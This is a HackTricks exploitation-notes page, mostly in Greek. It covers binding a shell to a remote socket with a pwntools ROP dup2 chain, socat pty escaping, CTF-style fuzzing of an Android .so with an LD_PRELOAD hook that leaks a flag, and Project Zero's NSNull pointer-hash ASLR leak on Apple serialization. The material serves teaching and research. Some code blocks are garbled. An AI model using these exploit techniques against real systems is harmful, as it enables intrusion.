Συνηθισμένα Προβλήματα Εκμετάλλευσης

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

FDs in Remote Exploitation

Όταν στέλνετε ένα exploit σε έναν remote server που καλεί για παράδειγμα system('/bin/sh'), αυτό θα εκτελεστεί στη διεργασία του server, φυσικά, και το /bin/sh θα περιμένει είσοδο από stdin (FD: 0) και θα τυπώνει την έξοδο σε stdout και stderr (FDs 1 και 2). Έτσι ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδράσει με το shell.

Μια λύση είναι να υποθέσουμε ότι όταν ξεκίνησε ο server δημιούργησε το FD number 3 (για listening) και ότι τότε η σύνδεσή σας θα βρίσκεται στο FD number 4. Επομένως, είναι δυνατό να χρησιμοποιηθεί το syscall dup2 για να διπλασιαστούν το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου), έτσι ώστε να είναι εφικτό να επικοινωνήσετε με το shell μόλις εκτελεστεί.

Παράδειγμα Exploit από εδώ:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Σημειώστε ότι το socat ήδη μεταφέρει τα stdin και stdout στο socket. Ωστόσο, η λειτουργία pty περιλαμβάνει χαρακτήρες DELETE. Άρα, αν στείλετε ένα \x7f (DELETE), θα διαγράψει τον προηγούμενο χαρακτήρα του exploit σας.

Για να παρακαμφθεί αυτό, ο χαρακτήρας escape \x16 πρέπει να προστεθεί πριν από οποιοδήποτε \x7f που αποστέλλεται.

Εδώ μπορείτε find an example of this behaviour.

Android AArch64 shared-library fuzzing & LD_PRELOAD hooking

When an Android app ships only a stripped AArch64 .so, you can still fuzz exported logic directly on-device without rebuilding the APK. Μια πρακτική ροή εργασίας:

  1. Locate callable entry points. objdump -T libvalidate.so | grep -E "validate" quickly lists exported functions. Decompilers (Ghidra, IDA, BN) reveal the real signature, e.g. int validate(const uint8_t *buf, uint64_t len).
  2. Write a standalone harness. Φορτώστε ένα αρχείο, διατηρήστε το buffer ζωντανό και καλέστε το εξαγόμενο σύμβολο ακριβώς όπως θα το έκανε η εφαρμογή. Κάντε cross-compile με το NDK (π.χ. aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie).
Ελάχιστο harness βασισμένο σε αρχείο ```c #include #include #include #include #include #include

extern int validate(const uint8_t *buf, uint64_t len);

int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }

</details>

3. **Ανασυγκροτήστε την αναμενόμενη δομή.** Τα μηνύματα σφάλματος και οι συγκρίσεις στο Ghidra έδειξαν ότι η συνάρτηση ανάλυσε αυστηρό JSON με σταθερά κλειδιά (`magic`, `version`, nested `root.children.*`) και αριθμητικούς ελέγχους (π.χ., `value * 2 == 84` ⇒ `value` πρέπει να είναι `42`). Η παροχή συντακτικά έγκυρου JSON που ικανοποιεί σταδιακά κάθε κλάδο σάς επιτρέπει να χαρτογραφήσετε το σχήμα χωρίς instrumentation.
4. **Παρακάμψτε το anti-debug για να leak μυστικά.** Επειδή το `.so` εισάγει το `snprintf`, αντικαταστήστε το με `LD_PRELOAD` για να dump ευαίσθητες format strings ακόμη και όταν τα breakpoints είναι μπλοκαρισμένα:

<details>
<summary>Ελάχιστο snprintf leak hook</summary>
```c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>

typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list);

int snprintf(char *str, size_t size, const char *fmt, ...) {
static vsnprintf_t real_vsnprintf;
if (!real_vsnprintf)
real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf");

va_list args;
va_start(args, fmt);
va_list args_copy;
va_copy(args_copy, args);
if (fmt && strstr(fmt, "MHL{")) {
fprintf(stdout, "[LD_PRELOAD] flag: ");
vfprintf(stdout, fmt, args);
fputc('\n', stdout);
}
int ret = real_vsnprintf(str, size, fmt, args_copy);
va_end(args_copy);
va_end(args);
return ret;
}

LD_PRELOAD=./hook.so ./validate_harness payload.json exfiltrates the internal flag and confirms the crash oracle without patching the binary. 5. Σμίκρυνση του fuzz space. Η αποσυναρμολόγηση αποκάλυψε ένα XOR key που επαναχρησιμοποιούνταν στη σύγκριση του flag, πράγμα που σημαίνει ότι τα πρώτα επτά bytes του flag ήταν γνωστά. Κάντε fuzz μόνο τα εννέα άγνωστα bytes. 6. Ενσωματώστε τα fuzz bytes μέσα σε ένα έγκυρο JSON envelope. Το AFL harness διαβάζει ακριβώς εννέα bytes από το stdin, τα αντιγράφει στο flag suffix, και hard-codes κάθε άλλο πεδίο (constants, tree depths, arithmetic preimage). Οποιαδήποτε κατεστραμμένη ανάγνωση απλώς τερματίζει, οπότε το AFL ξοδεύει κύκλους σε ουσιαστικά testcases:

Minimal AFL harness ```c #include #include #include #include

extern int validate(unsigned char *bytes, size_t len);

#define FUZZ_SIZE 9

int main(void) { uint8_t blob[FUZZ_SIZE]; if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0; char suffix[FUZZ_SIZE + 1]; memcpy(suffix, blob, FUZZ_SIZE); suffix[FUZZ_SIZE] = ‘\0’; char json[512]; int len = snprintf(json, sizeof(json), “{"magic":16909060,"version":1,"padding":0,"flag":"MHL{827b07c%s}",”
“"root":{"type":16,"level":3,"num_children":1,"children":[”
“{"type":32,"level":2,"num_children":1,"subchildren":[”
“{"type":48,"level":1,"num_children":1,"leaves":[”
“{"type":64,"level":0,"reserved":0,"value":42}]}}]}}”, suffix); if (len <= 0 || (size_t)len >= sizeof(json)) return 0; validate((unsigned char *)json, len); return 0; }

</details>

7. **Run AFL with the crash-as-success oracle.** Οποιαδήποτε είσοδος που ικανοποιεί όλους τους σημασιολογικούς ελέγχους και μαντεύει το σωστό εννιά-μπάιτ επίθεμα ενεργοποιεί το σκόπιμο crash· αυτά τα αρχεία καταλήγουν στο `output/crashes` και μπορούν να αναπαραχθούν μέσω του απλού harness για να ανακτηθεί το μυστικό.

Αυτή η ροή εργασίας σας επιτρέπει να διαχειριστείτε γρήγορα anti-debug-protected JNI validators, να leak μυστικά όταν χρειάζεται, και στη συνέχεια να fuzz μόνο τα ουσιώδη bytes — όλα χωρίς να αγγίζετε το αρχικό APK.

## Image/Media Parsing Exploits (DNG/TIFF/JPEG)

Κακόβουλα camera formats συχνά περιλαμβάνουν το δικό τους bytecode (λίστες opcodes, map tables, tone curves). Όταν ένας privileged decoder αποτύχει να κάνει bound-check σε διαστάσεις που προέρχονται από metadata ή σε δείκτες επιπέδων, αυτά τα opcodes γίνονται attacker-controlled read/write primitives που μπορούν να groom το heap, να pivot pointers, ή ακόμα και να leak ASLR. Το σε-the-wild exploit Quram της Samsung είναι ένα πρόσφατο παράδειγμα αλυσίδωσης ενός `DeltaPerColumn` bounds bug, heap spraying μέσω παραληφθέντων opcodes, vtable remapping, και μιας JOP chain προς `system()`.

<a class="content_ref" href="../mobile-pentesting/android-app-pentesting/abusing-android-media-pipelines-image-parsers.md"><span class="content_ref_label">Abusing Android Media Pipelines Image Parsers</span></a>

## Pointer-Keyed Hash Table Pointer Leaks on Apple Serialization

### Requirements & attack surface

- Μια υπηρεσία δέχεται attacker-controlled property lists (XML ή binary) και καλεί `NSKeyedUnarchiver.unarchivedObjectOfClasses` με μια permissive allowlist (π.χ., `NSDictionary`, `NSArray`, `NSNumber`, `NSString`, `NSNull`).
- Τα προκύπτοντα objects επαναχρησιμοποιούνται και αργότερα σειριοποιούνται ξανά με `NSKeyedArchiver` (ή επαναλαμβάνονται με deterministic bucket order) και αποστέλλονται πίσω στον επιτιθέμενο.
- Κάποιος τύπος κλειδιού στα containers χρησιμοποιεί τιμές pointer ως hash code. Πριν τον Μάρτιο του 2025, το `CFNull`/`NSNull` έκανε fallback στο `CFHash(object) == (uintptr_t)object`, και η deserialization επέστρεφε πάντα το shared-cache singleton `kCFNull`, δίνοντας ένα σταθερό kernel-shared pointer χωρίς memory corruption ή timing.

### Controllable hashing primitives

- **Pointer-based hashing:** Η `CFRuntimeClass` του `CFNull` lacks a hash callback, οπότε το `CFBasicHash` χρησιμοποιεί τη διεύθυνση του αντικειμένου ως hash. Επειδή το singleton ζει σε μια σταθερή διεύθυνση του shared-cache μέχρι reboot, το hash του είναι σταθερό μεταξύ διεργασιών.
- **Attacker-controlled hashes:** Τα 32-bit `NSNumber` keys hashed μέσω `_CFHashInt`, που είναι deterministic και ελεγχόμενο από τον attacker. Επιλέγοντας συγκεκριμένους ακέραιους επιτρέπει στον attacker να επιλέξει `hash(number) % num_buckets` για οποιοδήποτε μέγεθος πίνακα.
- **`NSDictionary` implementation:** Τα immutable dictionaries ενσωματώνουν ένα `CFBasicHash` με αριθμό buckets prime επιλεγμένο από `__CFBasicHashTableSizes` (π.χ., 23, 41, 71, 127, 191, 251, 383, 631, 1087). Οι συγκρούσεις αντιμετωπίζονται με linear probing (`__kCFBasicHashLinearHashingValue`), και η serialization διασχίζει τα buckets σε αριθμητική σειρά· επομένως, η σειρά των serialized keys κωδικοποιεί τον δείκτη bucket που τελικά κατέλαβε κάθε κλειδί.

### Encoding bucket indices into serialization order

Δημιουργώντας ένα plist που υλοποιεί ένα dictionary του οποίου τα buckets εναλλάσσονται μεταξύ κατειλημμένων και κενών θέσεων, ο attacker περιορίζει το πού το linear probing μπορεί να τοποθετήσει το `NSNull`. Για παράδειγμα με 7 buckets, η πλήρωση των even buckets με `NSNumber` keys παράγει:
```text
bucket:          0 1 2 3 4 5 6
occupancy:       # _ # _ # _ #

Κατά τη διάρκεια της deserialization το θύμα εισάγει το μοναδικό κλειδί NSNull. Ο αρχικός του bucket είναι hash(NSNull) % 7, αλλά το probing προχωρά μέχρι να χτυπήσει ένα από τα ανοιχτά indices {1,3,5}. Η serialized key order αποκαλύπτει ποια slot χρησιμοποιήθηκε, αποκαλύπτοντας αν το pointer hash modulo 7 βρίσκεται σε {6,0,1}, {2,3}, ή {4,5}. Εφόσον ο επιτιθέμενος ελέγχει την αρχική serialized order, το κλειδί NSNull εκπέμπεται τελευταίο στο input plist, έτσι η post-reserialization ordering είναι αποκλειστικά συνάρτηση της bucket placement.

Επίλυση ακριβών υπολοίπων με συμπληρωματικούς πίνακες

Ένα μόνο dictionary μόνο leaks ένα εύρος υπολοίπων. Για να καθορίσετε την ακριβή τιμή του hash(NSNull) % p, κατασκευάστε δύο dictionaries ανά prime bucket size p: ένα με even buckets pre-filled και ένα με odd buckets pre-filled. Για το complementary pattern (_ # _ # _ # _), οι κενές slots (0,2,4,6) αντιστοιχούν στα σύνολα υπολοίπων {0}, {1,2}, {3,4}, {5,6}. Η παρατήρηση της serialized position του NSNull και στις δύο dictionaries περιορίζει το υπόλοιπο σε μία μοναδική τιμή, αφού η τομή των δύο υποψήφιων συνόλων δίνει ένα μοναδικό r_i για αυτό το p.

Ο επιτιθέμενος δένει όλα τα dictionaries μέσα σε ένα NSArray, οπότε ένα μόνο deserialize → serialize round trip leaks residues για κάθε επιλεγμένο table size.

Ανακατασκευή του 64-bit shared-cache pointer

Για κάθε prime p_i ∈ {23, 41, 71, 127, 191, 251, 383, 631, 1087}, ο επιτιθέμενος ανακτά hash(NSNull) ≡ r_i (mod p_i) από την serialized ordering. Η εφαρμογή του Θεωρήματος των Κινεζικών Υπολοίπων (CRT) με τον επεκταμένο Ευκλείδειο αλγόριθμο παράγει:

Π p_i = 23·41·71·127·191·251·383·631·1087 = 0x5ce23017b3bd51495 > 2^64

έτσι το συνδυασμένο υπόλοιπο ισούται μοναδικά με τον 64-bit pointer προς kCFNull. Το Project Zero PoC συνδυάζει επαναληπτικά τις συγκλίσεις ενώ εκτυπώνει ενδιάμεσα moduli για να δείξει τη σύγκλιση προς τη σωστή διεύθυνση (0x00000001eb91ab60 στο ευάλωτο build).

Πρακτική ροή εργασίας

  1. Generate crafted input: Build the attacker-side XML plist (two dictionaries per prime, NSNull serialized last) and convert it to binary format.
clang -o attacker-input-generator attacker-input-generator.c
./attacker-input-generator > attacker-input.plist
plutil -convert binary1 attacker-input.plist
  1. Victim round trip: Η υπηρεσία θύματος απο-σειριοποιεί με NSKeyedUnarchiver.unarchivedObjectOfClasses χρησιμοποιώντας το σύνολο επιτρεπόμενων κλάσεων {NSDictionary, NSArray, NSNumber, NSString, NSNull} και αμέσως ξανα-σειριοποιεί με NSKeyedArchiver.
  2. Residue extraction: Η μετατροπή του επιστρεφόμενου plist σε XML αποκαλύπτει τη σειρά των κλειδιών των dictionaries. Ένα βοηθητικό όπως extract-pointer.c διαβάζει τον object table, προσδιορίζει το index του μοναδικού NSNull, αντιστοιχίζει κάθε ζεύγος dictionary πίσω στο αντίστοιχο bucket residue, και λύνει το CRT σύστημα για να ανακτήσει τον shared-cache pointer.
  3. Verification (optional): Η μεταγλώττιση ενός μικρού Objective-C helper που εκτυπώνει CFHash(kCFNull) επιβεβαιώνει ότι το leaked value ταιριάζει με την πραγματική διεύθυνση.

No memory safety bug is required—simply observing serialization order of pointer-keyed structures yields a remote ASLR bypass primitive.

Σχετικές σελίδες

Common Exploiting Problems Unsafe Relocation Fixups

Reversing Native Libraries

Reversing Tools & Basic Methods

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks